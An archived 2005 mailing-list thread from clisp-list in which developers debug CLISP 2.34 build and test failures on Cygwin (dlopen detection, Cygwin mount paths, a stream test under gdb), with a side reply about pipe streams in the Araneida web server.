esmtp (Exim 4.44) id 1E4jRc-00048n-N4 for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 11:12:22 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7FIC5pc004868; Mon, 15 Aug 2005 14:12:06 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Jeremy Shute Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4300C9D8.2040108@google.com> (Jeremy Shute's message of "Mon, 15 Aug 2005 12:59:04 -0400") References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> <42FF3CA6.3000601@google.com> <4300A079.9000809@google.com> <4300C9D8.2040108@google.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Jeremy Shute Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp 2.34 does not build correctly on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 15 11:13:17 2005 X-Original-Date: Mon, 15 Aug 2005 14:11:17 -0400 > * Jeremy Shute [2005-08-15 12:59:04 -0400]: > > I'm afraid I've unintentionally mislead you. libpcre.a installed, but > when I went back to the libpcre source directory and did a "make test" > (just to be sure the library was a full, working binary), the tests > segfaulted. The culprit seems to be libpcre 6.1 under Cygwin. AFAICT, Cygwin comes with libpcre 4.5 > I bypassed the whole issue by simply --with-module=regexp instead. you do not need --with-module=regexp. see > However, three tests failed. I've included their *.erg files in a tarball: > http://www.crazilocks.com/clisp-list.tar.gz ffi: autoconf did not find dlopen and friends. if you need that, you may want to investigate... path: interesting. what does "mount" print? streams: did you run the tests with a redirection? -- Sam Steingold (http://www.podval.org/~sds) running w2k Professionalism is being dispassionate about your work. From sds@gnu.org Mon Aug 15 11:23:13 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E4jc7-0004Ul-Er for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 11:23:11 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E4jc5-0006kC-VO for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 11:23:11 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7FIMx7m006610; Mon, 15 Aug 2005 14:23:00 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Kai Kaminski Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4300C193.8010103@gmail.com> (Kai Kaminski's message of "Mon, 15 Aug 2005 18:23:47 +0200") References: <42F8C3B9.2070401@gmail.com> <4300C193.8010103@gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Kai Kaminski Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Araneida: make-pipe-io-stream in handle-request-response Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 15 11:24:36 2005 X-Original-Date: Mon, 15 Aug 2005 14:22:11 -0400 Hi Kai, > * Kai Kaminski [2005-08-15 18:23:47 +0200]: > > The above is only the shortest piece of code that demonstrates the > problem. I would rather not install araneida to reproduce the problem. could you please try to produce a more-or-less isolated test case? Thanks! > Let me try to be clearer what my problem is. Araneida receives an HTTP > request and calls my HANDLE-REQUEST-RESPONSE. If I call > MAKE-PIPE-IO-STREAM in that method, Araneida doesn't close the HTTP > connection, even though all the data has been transferred (over > HTTP). HANDLE-REQUEST-RESPONSE definitely returns. It does not matter if > I try to actually send or receive data using the streams returned by > MAKE-PIPE-IO-STREAM. > If I now add a call to SOCKET-STREAM-SHUTDOWN in HANDLE-REQUEST-RESPONSE > to close the HTTP connection socket everything works as expected. In > that sense one could say that SOCKET-STREAM-SHUTDOWN always worked for > me. CMIIAM, but I thought that HTTP requires either shutdown or content-length. it might be that the underlying libc sockets behave differently depending on the number of sockets that the program has opened. also, make-pipe-io-stream does the usual fork/exec trick which (CMIIAM) results in the "same" socket being "available" to both processes, thus they might be treated differently wrt flush &c. the above is just my WAGs, please CMIIAM. > (defun forcibly-close-stream (s) > (socket:socket-status s) why not just LISTEN? PS. you might want to investigate why your mailer ignores Mail-Copies-To and Reply-to headers. -- Sam Steingold (http://www.podval.org/~sds) running w2k Stupidity, like virtue, is its own reward. From shutej@google.com Mon Aug 15 11:26:33 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E4jfM-0004az-1z for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 11:26:32 -0700 Received: from 216-239-45-4.google.com ([216.239.45.4]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E4jfJ-0007T0-SL for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 11:26:32 -0700 Received: from mirapoint8.corp.google.com (mirapoint8.corp.google.com [172.24.0.44]) by stewie.corp.google.com with ESMTP id j7FIQC42004327 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 15 Aug 2005 11:26:13 -0700 Received: from [172.29.36.243] (shutej.nyc.corp.google.com [172.29.36.243]) by mirapoint8.corp.google.com (MOS 3.5.8-GR) with ESMTP id ACN12285 (AUTH shutej); Mon, 15 Aug 2005 11:26:11 -0700 (PDT) Message-ID: <4300DE43.9070802@google.com> From: Jeremy Shute User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050519 Red Hat/1.7.8-0.90.1gg1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> <42FF3CA6.3000601@google.com> <4300A079.9000809@google.com> <4300C9D8.2040108@google.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -4.3 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.3 RCVD_IN_BSP_TRUSTED RBL: Sender is in Bonded Sender Program (trusted relay) [IronPort Bonded Sender - ] Subject: [clisp-list] Re: clisp 2.34 does not build correctly on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 15 11:27:33 2005 X-Original-Date: Mon, 15 Aug 2005 14:26:11 -0400 I could get libpcre with the Cygwin install, yes. I'll just stick to the regexp module for now and save myself some grief in the future (one less thing for me to forget). Sam Steingold wrote: >>However, three tests failed. I've included their *.erg files in a tarball: >>http://www.crazilocks.com/clisp-list.tar.gz >> >> > >ffi: autoconf did not find dlopen and friends. > if you need that, you may want to investigate... > > I think on Cygwin you have to -ldl in order to get dlopen and friends. Is that being checked for in ./configure? >path: interesting. what does "mount" print? > > $ mount C:\cygwin\bin on /usr/bin type user (binmode) C:\cygwin\lib on /usr/lib type user (binmode) C:\cygwin on / type user (binmode) c: on /cygdrive/c type user (binmode,noumount) I don't know why those are mounted under /usr, quite honestly. Running ls in both and diffing the output shows it to be true, the contents of /bin and /usr/bin are identical. This was a fairly recent Cygwin install with a fairly recent setup.exe (like, last week). I didn't pull anything "funny", either, it came out of the box this way. I used "cygdrive" regularly as a prefix to get at other drives, so I know that works. >streams: did you run the tests with a redirection? > > I did not run the tests with redirection. It failed during the ./configure, then I changed directory to "build" and ran "make test" and it failed again. I wasn't using redirection in either case. Jeremy From sds@gnu.org Mon Aug 15 12:12:19 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E4kNf-0007OV-Hw for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 12:12:19 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E4kNd-00022Y-Ub for clisp-list@lists.sourceforge.net; Mon, 15 Aug 2005 12:12:19 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7FJC7BO014021; Mon, 15 Aug 2005 15:12:08 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Jeremy Shute Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4300DE43.9070802@google.com> (Jeremy Shute's message of "Mon, 15 Aug 2005 14:26:11 -0400") References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> <42FF3CA6.3000601@google.com> <4300A079.9000809@google.com> <4300C9D8.2040108@google.com> <4300DE43.9070802@google.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Jeremy Shute Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp 2.34 does not build correctly on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Aug 15 12:13:14 2005 X-Original-Date: Mon, 15 Aug 2005 15:11:19 -0400 > * Jeremy Shute [2005-08-15 14:26:11 -0400]: > >>ffi: autoconf did not find dlopen and friends. >> if you need that, you may want to investigate... >> >> > I think on Cygwin you have to -ldl in order to get dlopen and friends. > Is that being checked for in ./configure? works for me. you can look at config.log to find out what went wrong for you. see why HAVE_DLOPEN is not defined in your build/unixconf.h. >>path: interesting. what does "mount" print? >> >> > $ mount > C:\cygwin\bin on /usr/bin type user (binmode) > C:\cygwin\lib on /usr/lib type user (binmode) > C:\cygwin on / type user (binmode) > c: on /cygdrive/c type user (binmode,noumount) > > I don't know why those are mounted under /usr, quite honestly. Running > ls in both and diffing the output shows it to be true, the contents of > /bin and /usr/bin are identical. > > This was a fairly recent Cygwin install with a fairly recent setup.exe > (like, last week). I didn't pull anything "funny", either, it came out > of the box this way. > > I used "cygdrive" regularly as a prefix to get at other drives, so I > know that works. CLISP DIRECTORY appears to be too smart for its own good and it gets confused by the cygwin mounting tricks. >>streams: did you run the tests with a redirection? > I did not run the tests with redirection. It failed during the > ./configure, then I changed directory to "build" and ran "make test" and > it failed again. I wasn't using redirection in either case. you can try $ ./configure --build build-g --with-debug $ cd build-g $ gdb lisp.exe (gdb) boot (gdb) run > (CLEAR-INPUT *QUERY-IO*) and see why it fails. -- Sam Steingold (http://www.podval.org/~sds) running w2k History doesn't repeat itself, but historians do repeat each other. From shutej@google.com Tue Aug 16 09:24:37 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E54Eq-0004W8-T2 for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 09:24:32 -0700 Received: from 216-239-45-4.google.com ([216.239.45.4]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E54Eq-0006Yz-JM for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 09:24:32 -0700 Received: from mirapoint8.corp.google.com (mirapoint8.corp.google.com [172.24.0.44]) by death.corp.google.com with ESMTP id j7GGOLnL008174 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 16 Aug 2005 09:24:22 -0700 Received: from [172.29.42.82] (dhcp-172-29-42-82.nyc.corp.google.com [172.29.42.82]) by mirapoint8.corp.google.com (MOS 3.5.9-GR) with ESMTP id ACP28623 (AUTH shutej); Tue, 16 Aug 2005 09:24:21 -0700 (PDT) Message-ID: <4302132E.2030009@google.com> From: Jeremy Shute User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> <42FF3CA6.3000601@google.com> <4300A079.9000809@google.com> <4300C9D8.2040108@google.com> <4300DE43.9070802@google.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -4.2 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_DOLLAR BODY: Text interparsed with $ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -4.3 RCVD_IN_BSP_TRUSTED RBL: Sender is in Bonded Sender Program (trusted relay) [IronPort Bonded Sender - ] -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp 2.34 does not build correctly on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 16 09:25:05 2005 X-Original-Date: Tue, 16 Aug 2005 12:24:14 -0400 Sam Steingold wrote: >>* Jeremy Shute [2005-08-15 14:26:11 -0400]: >> >> >> >>>ffi: autoconf did not find dlopen and friends. >>> if you need that, you may want to investigate... >>> >>> >>> >>> >>I think on Cygwin you have to -ldl in order to get dlopen and friends. >>Is that being checked for in ./configure? >> >> > >works for me. >you can look at config.log to find out what went wrong for you. >see why HAVE_DLOPEN is not defined in your build/unixconf.h. > > I removed the directory and built a second time. configure:24884: checking for library containing dlopen configure:24914: gcc -o conftest.exe -g -O2 -I/usr/local/include conftest.c >&5 /usr/lib/gcc/i686-pc-cygwin/3.4.4/../../../../i686-pc-cygwin/bin/ld: cannot open output file conftest.exe: Device or resource busy collect2: ld returned 1 exit status configure:24920: $? = 1 There are several more "Device or resource busy" errors thereafter. This is probably due to the section right above it configure:24429: checking for working shared memory configure:24463: gcc -o conftest.exe -g -O2 -I/usr/local/include conftest.c >&5 configure:24466: $? = 0 configure:24468: ./conftest.exe configure: line 24469: 4908 Bad system call ./conftest$ac_exeext configure:24471: $? = 140 configure: program exited with status 140 >>>path: interesting. what does "mount" print? >>> >>> >>$ mount >>C:\cygwin\bin on /usr/bin type user (binmode) >>C:\cygwin\lib on /usr/lib type user (binmode) >>C:\cygwin on / type user (binmode) >>c: on /cygdrive/c type user (binmode,noumount) >> >>I don't know why those are mounted under /usr, quite honestly. Running >>ls in both and diffing the output shows it to be true, the contents of >>/bin and /usr/bin are identical. >> >>This was a fairly recent Cygwin install with a fairly recent setup.exe >>(like, last week). I didn't pull anything "funny", either, it came out >>of the box this way. >> >>I used "cygdrive" regularly as a prefix to get at other drives, so I >>know that works. >> >> > >CLISP DIRECTORY appears to be too smart for its own good and it gets >confused by the cygwin mounting tricks. > > So, you know what is wrong, here? Is there something else I can do in order to help you fix this? >>>streams: did you run the tests with a redirection? >>> >>> >>I did not run the tests with redirection. It failed during the >>./configure, then I changed directory to "build" and ran "make test" and >>it failed again. I wasn't using redirection in either case. >> >> > >you can try >$ ./configure --build build-g --with-debug >$ cd build-g >$ gdb lisp.exe >(gdb) boot >(gdb) run > > >>(CLEAR-INPUT *QUERY-IO*) >> >> >and see why it fails. > > $ gdb lisp.exe GNU gdb 6.3.50_2004-12-28-cvs (cygwin-special) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i686-pc-cygwin"... Breakpoint 1 at 0x428972: file eval.d, line 4937. Breakpoint 2 at 0x4262ea: file eval.d, line 4020. Breakpoint 3 at 0x422b89: file eval.d, line 2882. Breakpoint 4 at 0x42a48a: file eval.d, line 5905. Breakpoint 5 at 0x40c0be: file spvw_garcol.d, line 2430. Hardware watchpoint 6: back_trace Breakpoint 7 at 0x40f816: file spvw.d, line 657. Breakpoint 8 at 0x403d33: file spvw.d, line 479. Breakpoint 9 at 0x403ddb: file spvw.d, line 494. Breakpoint 10 at 0x4d82ca: file error.d, line 349. Breakpoint 11 at 0x4d825c: file error.d, line 326. Num Type Disp Enb Address What 1 breakpoint keep n 0x00428972 in funcall at eval.d:4937 xout fun 2 breakpoint keep n 0x004262ea in apply at eval.d:4020 xout fun 3 breakpoint keep n 0x00422b89 in eval at eval.d:2882 xout form 4 breakpoint keep n 0x0042a48a in interpret_bytecode_ at eval.d:5905 xout closure 5 breakpoint keep n 0x0040c0be in gar_col at spvw_garcol.d:2430 6 hw watchpoint keep n back_trace zbacktrace continue 7 breakpoint keep y 0x0040f816 in fehler_notreached at spvw.d:657 8 breakpoint keep y 0x00403d33 in SP_ueber at spvw.d:479 9 breakpoint keep y 0x00403ddb in STACK_ueber at spvw.d:494 10 breakpoint keep y 0x004d82ca in fehler at error.d:349 11 breakpoint keep y 0x004d825c in prepare_error at error.d:326 Function "sigsegv_handler_failed" not defined. .gdbinit:157: Error in sourced command file: No symbol "byteptr" in current context. (gdb) boot (gdb) run Starting program: /home/shutej/fcgi/clisp-head/clisp/build-g/lisp.exe -B . -N locale -M lispinit.mem -q -norc STACK depth: 16363 SP depth: 1073598755 [1]> (clear-input *query-io*) NIL [2]> What do you mean by "see why it fails"? I presume there's a reason why I'm running in GDB. Do you want me to set a breakpoint and examine any specific value inside the VM? Jeremy From sds@gnu.org Tue Aug 16 10:07:56 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E54up-0006fm-UI for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 10:07:55 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E54up-0002bD-Ds for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 10:07:55 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7GH7bjO024673; Tue, 16 Aug 2005 13:07:37 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Jeremy Shute Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <4302132E.2030009@google.com> (Jeremy Shute's message of "Tue, 16 Aug 2005 12:24:14 -0400") References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> <42FF3CA6.3000601@google.com> <4300A079.9000809@google.com> <4300C9D8.2040108@google.com> <4300DE43.9070802@google.com> <4302132E.2030009@google.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Jeremy Shute Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp 2.34 does not build correctly on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 16 10:08:26 2005 X-Original-Date: Tue, 16 Aug 2005 13:06:49 -0400 > * Jeremy Shute [2005-08-16 12:24:14 -0400]: > > I removed the directory and built a second time. > > configure:24884: checking for library containing dlopen > configure:24914: gcc -o conftest.exe -g -O2 -I/usr/local/include > conftest.c >&5 > /usr/lib/gcc/i686-pc-cygwin/3.4.4/../../../../i686-pc-cygwin/bin/ld: > cannot open output file conftest.exe: Device or resource busy > collect2: ld returned 1 exit status > configure:24920: $? = 1 > > There are several more "Device or resource busy" errors thereafter. > This is probably due to the section right above it check task manager and kill the "conftest.exe" process. if nothing works, reboot. >>CLISP DIRECTORY appears to be too smart for its own good and it gets >>confused by the cygwin mounting tricks. > > So, you know what is wrong, here? Yes, as I said: "DIRECTORY appears to be too smart for its own good" > Is there something else I can do in order to help you fix this? you can fix it yourself :-) >>you can try >>$ ./configure --build build-g --with-debug >>$ cd build-g >>$ gdb lisp.exe >>(gdb) boot >>(gdb) run >> >>>(CLEAR-INPUT *QUERY-IO*) >>> >>and see why it fails. >> > $ gdb lisp.exe > Starting program: /home/shutej/fcgi/clisp-head/clisp/build-g/lisp.exe -B > . -N locale -M lispinit.mem -q -norc > STACK depth: 16363 > SP depth: 1073598755 > [1]> (clear-input *query-io*) > > NIL > [2]> > > What do you mean by "see why it fails"? look at the streams.erg file - (clear-input *query-io*) failed. why doesn't it fail under gdb? does it fail at the clisp prompt without gdb? what is the error message? (if you configured --with-debug, you should see file:line) -- Sam Steingold (http://www.podval.org/~sds) running w2k To a Lisp hacker, XML is S-expressions with extra cruft. From shutej@google.com Tue Aug 16 11:07:49 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E55qn-0001fh-1a for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 11:07:49 -0700 Received: from 216-239-45-4.google.com ([216.239.45.4]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E55qm-0007qp-M4 for clisp-list@lists.sourceforge.net; Tue, 16 Aug 2005 11:07:49 -0700 Received: from mirapoint8.corp.google.com (mirapoint8.corp.google.com [172.24.0.44]) by vegeta.corp.google.com with ESMTP id j7GI7MEk024127 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 16 Aug 2005 11:07:23 -0700 Received: from [172.29.42.82] (dhcp-172-29-42-82.nyc.corp.google.com [172.29.42.82]) by mirapoint8.corp.google.com (MOS 3.5.9-GR) with ESMTP id ACP36462 (AUTH shutej); Tue, 16 Aug 2005 11:07:22 -0700 (PDT) Message-ID: <43022B49.3020800@google.com> From: Jeremy Shute User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> <42FF3CA6.3000601@google.com> <4300A079.9000809@google.com> <4300C9D8.2040108@google.com> <4300DE43.9070802@google.com> <4302132E.2030009@google.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -4.2 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -4.3 RCVD_IN_BSP_TRUSTED RBL: Sender is in Bonded Sender Program (trusted relay) [IronPort Bonded Sender - ] -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp 2.34 does not build correctly on Cygwin. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 16 11:08:24 2005 X-Original-Date: Tue, 16 Aug 2005 14:07:05 -0400 Sam Steingold wrote: >>* Jeremy Shute [2005-08-16 12:24:14 -0400]: >> >>I removed the directory and built a second time. >> >>configure:24884: checking for library containing dlopen >>configure:24914: gcc -o conftest.exe -g -O2 -I/usr/local/include >>conftest.c >&5 >>/usr/lib/gcc/i686-pc-cygwin/3.4.4/../../../../i686-pc-cygwin/bin/ld: >>cannot open output file conftest.exe: Device or resource busy >>collect2: ld returned 1 exit status >>configure:24920: $? = 1 >> >>There are several more "Device or resource busy" errors thereafter. >>This is probably due to the section right above it >> >> > >check task manager and kill the "conftest.exe" process. >if nothing works, reboot. > > conftest.exe isn't a running process, visible from the Task Manager, before or after ./configure. I think the problem is that the shared memory test above it (as I highlighted) is but continues to stay resident. When the dlopen family of tests are attempted, the linker cannot write conftest.exe because the conftest.exe program is still (somehow) running. If it's not running before ./configure and it's not running after ./configure, it must be a problem during ./configure, right? I'd love to help you nail down this problem, all I need is a little direction. I'm relatively unfamiliar with autoconf. How would you have me test that my hypothesis is true? >>>you can try >>>$ ./configure --build build-g --with-debug >>>$ cd build-g >>>$ gdb lisp.exe >>>(gdb) boot >>>(gdb) run >>> >>> >>> >>>>(CLEAR-INPUT *QUERY-IO*) >>>> >>>> >>>> >>>and see why it fails. >>> >>> >>> >>$ gdb lisp.exe 